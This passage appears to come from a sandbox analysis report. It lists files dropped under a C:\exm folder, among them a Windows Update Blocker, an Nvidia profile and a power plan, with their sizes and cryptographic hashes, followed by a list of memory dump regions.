701KB

MD5
1d4611e03d8f32ae08cf8ade9a958729

SHA1
a8a3504eaf57a7d640bd42b5d59d2b8afa3e5f33

SHA256
bfbcf41b4659a4f371d434fc92b0f13bd46cfb82b74910633e900008765bd6da

SHA512
b3114eb005aa1f5f855d86d846099d43b61bbc7353d3acec241a79b691f69080474d356d9e414dfb65036c9a36751d9839fef15f8115ea391e906a841eb52ea4

Download Submit
C:\exm\Autoruns\autorunsc64.exe

Filesize
784KB

MD5
848e852089ba84056308e184b034c302

SHA1
ffd77f9da61b955b07c76fa392b48c09273d81fd

SHA256
110651323222353e13588adcf82f7a21faa51422a251033a4e1163b9e95ae08a

SHA512
8e45aec194863838ee2e128f765e77b0e6fbfca710279a67fe516a20c273a595a5b1eceba33988c5cbe0c3b3d0238dc25e335a38431b49ac29a35ade099a6259

Download Submit
C:\exm\Autoruns\autorunsc64a.exe

Filesize
807KB

MD5
0c790f64e69f9d9a4cbde5e21f1a4e93

SHA1
356d1dde5bb5d1a6c43d118910eeff6725a219e9

SHA256
b9c11b7701a269b8151ec8b38577fe2bb4de1e4e1ecd7f63324454054acf6881

SHA512
5d285ff8738dc9aeed61d24e8823f81b568cc251793619d660fa42781b1cb4979c0f67e015183cccddf366f6a96ba9fcda53e91d522642ca8f8bc4bf2461a479

Download Submit
C:\exm\EXMservice.exe

Filesize
12.0MB

MD5
aab9c36b98e2aeff996b3b38db070527

SHA1
4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

SHA256
c148cc14f15b71a2d3f5e6bce6b706744f6b373a7e6c090c14f46f81d2d6e82f

SHA512
0db75756a041a7cda6b384718581aaf11e6873614465dd56e81f17ad171cffe380e288a3c2ee540222190392904921f26df8a1d66d4108051c60fc8e5b2df779

Download Submit
C:\exm\FortniteSettings\FortniteSettings.exe

Filesize
9.3MB

MD5
a39de0d010e9d34de70abad81f031e23

SHA1
9903ee2dd6b87369eb33de49d5a3d13135309899

SHA256
3b4e1a5a0d85269d9491e155864e630339e292a9228dc1eb37ff61b0a657ff6e

SHA512
6247314d4ccf1fc14d8a999d476a6370b4e553bab76fb086f4cbf163f59c982643b0820d7d829ed3d3415456a613c777f90ac8c0ff3112be0ec44a7ee126a9d9

Download Submit
C:\exm\NvidiaProfileInspector\Exm_Premium_Profile_V4.nip

Filesize
684KB

MD5
d5563eaeb8f6e5dbfb2d01fd24b7c8d5

SHA1
f619d9c97f356c0f41ccb8a7da2961b46c4242ef

SHA256
f3904fe5c2475af316b4a41e69bd833e05d8a160089b96e4f97b83fb125426f7

SHA512
0d3823f7582766df5f06cad6e59aca7046889f8be3b6d179a1f7fa1e007f1eed488473bc0f79b0aa347bb86637e0fa14bf4c7a34d13a8835b37acaf17fa4db8d

Download Submit
C:\exm\NvidiaProfileInspector\Reference.xml

Filesize
213KB

MD5
1a8493bff2d17c83e299101954dcb562

SHA1
439258f42f755d40311a31b37f6d37f447d546ba

SHA256
5a31c0500500713efd83160cef3db3f56b807b7c4f7a8b4ee7f4ffe05c676081

SHA512
75f2383f73fd3e03fdd17e93091cca7192919cb76ff564cafa7ee8d33d50db83d94dd3905d06b67c01f52f580b73573b490beb61f9a58af3cad3c0a29ce0aa2f

Download Submit
C:\exm\NvidiaProfileInspector\nv.config

Filesize
158B

MD5
ce6d0bc7328b0fab08de80f292c1eaa4

SHA1
ae505d6f60a71259b91865f6d5a3d674e9de0ebe

SHA256
383b8dcb968b6bd0633658d9bb55c4acaf4c85a075aa456904a42d4e4efd5561

SHA512
f009ad44131f19997c7c7be38144132d9f701fda4492f3782a2717b92859f189196fac5a7d7e6ff6952f2c1735f27ffaddf0f7acbb45b98a7d85572e96c16c00

Download Submit
C:\exm\NvidiaProfileInspector\nvidiaProfileInspector.exe

Filesize
535KB

MD5
ff5f39370b67a274cb58ba7e2039d2e2

SHA1
3020bb33e563e9efe59ea22aa4588bed5f1b2897

SHA256
1233487ea4db928ee062f12b00a6eda01445d001ab55566107234dea4dc65872

SHA512
7decec37c80d1d5ad6296d737d5d16c4fc92353a3ae4bd083c4a7b267bb6073a53d9f6152b20f9b5e62ba6c93f76d08f813812a83ce164db4c91107d7ad5a95f

Download Submit
C:\exm\PowerPlan\Exm_Premium_Power_Plan_V3.pow

Filesize
12KB

MD5
abec2ceb9e8425172e1c7bbabbaf8eb1

SHA1
96bcfdc9bcb7c6fae883473dead92d332f06b162

SHA256
e14a55794a97986b70c4de0f7318561ca525641646451fee00ea53b793f15b6d

SHA512
c86445f87673d2ec4302adba4c6d828b1d1fe0429c7168cdc8f0f7074b8b2bd60974e9b27567b8e25eda2272e7f0fe5253ceb7090d54086c2c821d95bf30f5f1

Download Submit
C:\exm\WindowsUpdateBlocker\Wub.exe

Filesize
791KB

MD5
82aff8883099cf75462057c4e47e88ac

SHA1
68e2939f59b3869e9bd3ecc4aca3947649631bf8

SHA256
aac1123f17f8569a36bf93876cea30e15103fd2379b401a79129a2a6e7285ac2

SHA512
212ac940a1f8bdd805813c279d471efc53b858bc35c5edad182dfde3c29c37854618a507a0a0839e5a383d1ba4fe317c0b3c8275d023c86ecfa36f221560b96d

Download Submit
C:\exm\WindowsUpdateBlocker\Wub.ini

Filesize
97KB

MD5
a16bf55cd2ef7d9e56565b0ed1aa208a

SHA1
19edddaa24f73d9d01150babd58b1bcc0ff5d849

SHA256
30eb977d58106050818626b9b556a3badc7b7d012462903120a0663987c74c0b

SHA512
ab87d94620b0d77bfa8ff3e721bbb68a28185245b173be7b62195588e2a3b3d3a9ee085497300c14876118dff4edca7fea202328f3156a76c53f786b8d5b6118

Download Submit
C:\exm\WindowsUpdateBlocker\Wub_x64.exe

Filesize
939KB

MD5
9d6778f7f274f7ecd4e7e875a7268b64

SHA1
452fa439f1cc0b9fcc37cf4b8cfff96e8cc348aa

SHA256
187eeee9e518011de1b87cfb0ed03e12ea551e9011f0c8defdd0e4535e672da2

SHA512
d51df55a5f903ec624550e847459bfa52fb19e892a58fe2de41251d9d98890b36f26a4950ad75f900de0311b5330066aaece11ec5e549d5b3867a61a344e0b87

Download Submit
memory/1104-129-0x0000000000EB0000-0x0000000000EDA000-memory.dmp

Filesize
168KB

Download
memory/1688-28-0x00000221D75D0000-0x00000221D75E2000-memory.dmp

Filesize
72KB

Download
memory/1688-29-0x00000221D7550000-0x00000221D755A000-memory.dmp

Filesize
40KB

Download
memory/3180-71-0x0000000000F80000-0x0000000000FE6000-memory.dmp

Filesize
408KB

Download
memory/4556-15-0x00007FFB85240000-0x00007FFB85D01000-memory.dmp

Filesize
10.8MB

Download
memory/4556-0-0x00007FFB85243000-0x00007FFB85245000-memory.dmp

Filesize
8KB

Download
memory/4556-12-0x00007FFB85240000-0x00007FFB85D01000-memory.dmp

Filesize
10.8MB

Download
memory/4556-11-0x00007FFB85240000-0x00007FFB85D01000-memory.dmp

Filesize
10.8MB

Download
memory/4556-2-0x0000025FDB8A0000-0x0000025FDB8C2000-memory.dmp

Filesize
136KB

Download
memory/5096-132-0x0000000000B40000-0x0000000000B7E000-memory.dmp

Filesize
248KB

Download
memory/5096-300-0x00000000065D0000-0x00000000065DA000-memory.dmp

Filesize
40KB

Download
memory/5096-133-0x0000000005C70000-0x0000000005CD6000-memory.dmp

Filesize
408KB

Download
memory/5096-296-0x0000000006C30000-0x00000000071D4000-memory.dmp

Filesize
5.6MB

Download
memory/5096-295-0x00000000065E0000-0x0000000006672000-memory.dmp

Filesize
584KB

Download